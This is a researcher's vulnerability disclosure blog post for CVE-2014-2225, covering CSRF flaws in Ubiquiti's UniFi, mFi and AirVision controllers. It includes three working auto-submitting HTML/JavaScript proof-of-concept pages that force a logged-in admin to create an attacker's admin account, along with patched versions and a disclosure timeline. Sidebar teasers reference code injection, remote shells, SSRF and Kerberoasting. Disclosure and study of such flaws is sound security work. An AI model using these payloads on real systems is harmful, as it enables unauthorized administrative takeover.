CVE-2014-2225

-
This CVE covers three separate Ubiquiti Networks applications that are all vulnerable to CSRF:
  • UniFi Controller
  • mFi Controller
  • AirVision Controller

Ubiquiti - UniFi Controller v2.4.6 - Cross-site Request Forgery (CSRF)



The UniFi application is vulnerable to CSRF in multiple locations.  The CWE link above has a great summary of the vulnerability.  In the POC below, I demonstrate how an unauthenticated attacker can send a malicious hyperlink to an authenticated administrator, and how if the administrator clicks on the link, the attacker can force the authenticated administrator to perform quite a few actions without knowing it.  The most serious POC involves the attacker causing the administrator to create a second administrator account.  The attacker can now log into the Unifi controller with this second account (if they have network access to the Unifi controller), and perform any actions that an administrator can make.  

CSRF POC #1– Add Admin

This screenshot shows the Settings >> System page before CSRF attack. (The victim Admin logged into Unifi Controller)

The victim navigates to the attacker’s malicious page (page source shown for clarification):

Copyable POC:

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:8443/api/add/admin"
var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D" 

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>

</html>

Here is a proxy view from the perspective of the victim Admin
  • First the admin’s browser goes to www.malicious-site.com and pulls the attackers CSRF payload page
  • Then the admin’s browser loads the forged request that will add another admin on the UniFi Controller
The forged request is shown below. You can see that the Referer is www.malicious-site.com/csrf.html, and not the Unifi Controller.  However, because of Same Origin Policy, when the admin makes the request to the Unifi Controller, the browser attaches the admin’s valid session cookie:
The response, showing the new admin was created successfully:
The next two screenshots show the attacker logging in after the attack:


Settings >> System page after the CSRF attack



The next POC is another example of how an attacker can use CSRF to update and enable the syslog server on the Unifi Controller. I was working on this one before I figured out that the /api/add/admin function existed:

CSRF POC #2 – Update syslog server
Settings >> System (Before CSRF attack)

Here is the CSRF attack page on the attackers server:


Settings >> System (After CSRF attack)


The forged request:
The response:

Syslog messages from AP (begin as soon as CSRF is executed)



In addition to these POCs, any function that does not have a non-predictable nonce included, is vulnerable to CSRF.  This includes:

POST /api/add/wlanconf
POST /api/set/setting/guest_access
Change almost anything on this page (guest password, authentication method, restricted subnets):
 

POST /api/cmd/stamgr
Block users by MAC address
Unblock users by MAC address
Reconnect users by MAC address
POST api/set/setting/rsyslogd
Configure the syslog server and port
POST /api/set/setting/smtp
POST /api/cmd/cfgmgr
Configure the syslog server, port, authentication settings
POST /api/set/setting/identity
Setting Name of Unifi Controller


Ubiquiti - mFi Controller v2.0.15 - Cross-site Request Forgery (CSRF)



While this walk through is not as complete as the previous one, this screenshot shows that the mFi Controller exhibits the same CSRF vulnerability.  
Copyable POC:

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:6443/api/v1.0/add/admin"
var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D" 

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>

</html>

Ubiquiti - AirVision Controller v2.1.3 - Cross-site Request Forgery (CSRF)



I will also use the same POC for the AirVision controller.

CSRF POC #1– Add Admin
Settings >> System (Before CSRF attack) (The victim "Seth" logged into AirVision Controller)

The victim navigates to the attacker’s malicious page (page source shown for clarification):

Copyable POC:

<html>
<head>
<script>
function sendCSRF()
{
var url_base = "https://192.168.0.106:7443/api/v2.0/admin"
var post_data="{\”name\”:\”csrf\”,\”email\”:\”csrf@gmail.com\”,\”userGroup:\”:\”admin\”,\”x_password\”:\”password\”,\”confirmPassword\”:\”password\”,\”disabled\”:\”false\”}”

var xmlhttp;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST", url_base, true);
xmlhttp.setRequestHeader("Accept","*/*");
xmlhttp.setRequestHeader("Content-type","application/plain; charset=UTF-8");
xmlhttp.withCredentials= "true";
xmlhttp.send(post_data);
}

</script>
</head>
<body>
<h1>CSRF POC</h1>
Sending CSRF Payload!!!
<body onload="sendCSRF()">
</body>
</html>


Here is a proxy view from the perspective of the victim Admin
  • First the admin’s browser goes to www.malicous-site.com and pulls the attackers CSRF payload page
  • Then the admin’s browser loads the forged request that will add another admin on the AirVision Controller


The forged request is shown below. You can see that the Referrer is www.malicious-site.com/csrf-airvision4.html, and not the AirVision Controller.  However, because of Same Origin Policy, when the admin makes the request to the AirVision Controller, the browser attaches the admin’s valid session cookie:

The response, showing the new admin was created successfully:

Settings >> System (After CSRF attack) – The attacker logging in with the new credentials

Additional details:


(CVE-2014-2225) - Ubiquiti Networks - Multiple products - Cross-site Request Forgery (CSRF)
-----------
Vendor:
-----------
Ubiquiti Networks (http://www.ubnt.com/)

-----------------------------------------
Affected Products/Versions:
-----------------------------------------
UniFi Controller v2.4.6
mFi Controller v2.0.15
AirVision Controller v2.1.3
Note: Previous versions may be affected

-----------------
Description:
-----------------
Title: Cross-site Request Forgery (CSRF)
CVE: CVE-2014-2225
Researcher: Seth Art - @sethsec
Detailed writeup (includes screenshots): http://sethsec.blogspot.com/2014/07/cve-2014-2225.html

-------------
Solution:
-------------
UniFi Controller - Upgrade to UniFi Controller v3.2.1 or greater
mFi Controller - Upgrade to mFi Controller v2.0.24 or greater
AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note: The application name changed from AirVision to UniFi Video)

-----------------------------
Disclosure Timeline:
-----------------------------
2014-02-16: Notified Ubiquiti of vulnerabilities in UniFi and mFi products
2014-02-17: Ubiquiti acknowledges and requests details
2014-02-17: Report with POC sent to Ubiquiti
2014-02-19: Asked Ubiquiti to confirm receipt of report
2014-02-19: Ubiquti confirms receipt of report and existence of the vulnerabilities
2014-02-25: Notified Ubiquiti of CSRF vulnerability in AirVision product
2014-02-19: Ubiquti confirms receipt of AirVision report and existence of the vulnerability
2014-02-28: CVE-2014-2225 assigned
2014-03-12: Requested status update
2014-03-27: Requested status update
2014-04-07: Requested status update
2014-04-09: Ubiquiti provides timeline for solution
2014-04-18: UniFi Video 3.0.1 is released
2014-05-30: Requested a status update on the remaining two products
2014-06-12: Requested a status update on the remaining two products
2014-06-12: mFi v2.0.24 and UniFi 3.2.1 are released
2014-06-13: Set public disclosure date of 2014-07-24 and notified vendor
2014-07-24: Public disclosure

Comments

Post a Comment

Popular posts from this blog

Exploiting Python Code Injection in Web Applications

-
Image
A web application vulnerable to Python code injection allows you to send Python code though the application to the Python interpreter on the target server. If you can execute python, you can likely call operating system commands. If you can run operating system commands, you can read/write files that you have access to, and potentially even launch a remote interactive shell (e.g., nc, Metasploit, Empire). The thing is, when I needed to exploit this on an external penetration test recently, I had a hard time finding information online about how to move from proof of concept (POC) to useful web application exploitation. Together with my colleague Charlie Worrell ( @decidedlygray ),  we were able to turn the Burp POC (sleep for 20 seconds) into a non interactive shell, which is what this post covers. Python code injection is a subset of server-side code injection, as this vulnerability can occur in many other languages (e.g., Perl and Ruby). In fact, for those of you who are CWE fans
Read more

Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

-
Image
I recently came across a Server Side Request Forgery (SSRF) vulnerability within an application that I assessed.  The application was hosted on Amazon EC2 and was using Node.js, Express.js, and as I found out later, Needle.js. Discovery   Manual Discovery In the discovery phase, I noticed a function of the application that was taking a user specified URL and displaying the first paragraph from that URL into the page.  This application allowed a user to share a URL with their friends, and grabbing the first paragraph was a feature that would provide the friends with more context. The thing is, when looking at my Burp history, I could not find the request to the URL that I specified in my logs.  This should raise an eyebrow!   This means that the server is taking the URL I specified, making a request on my behalf, and then returning the result to me. That right there is SSRF .  Then, the only question was: What is the risk? Automated Discovery Since April 2015, if you a
Read more

Pentest Home Lab - 0x3 - Kerberoasting: Creating SPNs so you can roast them

-
Image
TL;DR There are a lot of great blogs out there that show you how to Kerberoast.  In this post, I'm going to walk through the process of setting up your lab so that you can practice this attack.  This involves creating a domain user and then mapping a SPN to that account. After that, I'll walk through using Empire to launch Invoke-Kerberoast, and I'll crack the hashes offline with Hashcat. Pentest Home Lab Recap If you don't already have an Active Directory lab and want to build one so that you can play along, check out my previous posts: Pentest Home Lab - 0x0 - Building A Virtual Corporate Domain   Pentest Home Lab - 0x1 - Building Your AD Lab on AWS Pentest Home Lab - 0x2 - Building Your AD Lab on Premises using Proxmox VE The Attack: Kerberoasting Attack Goals Domain privesc & lateral movement.  If you have domain credentials and access to the domain, this is a relatively easy way to gain additional access within the domain. If all goes well, you
Read more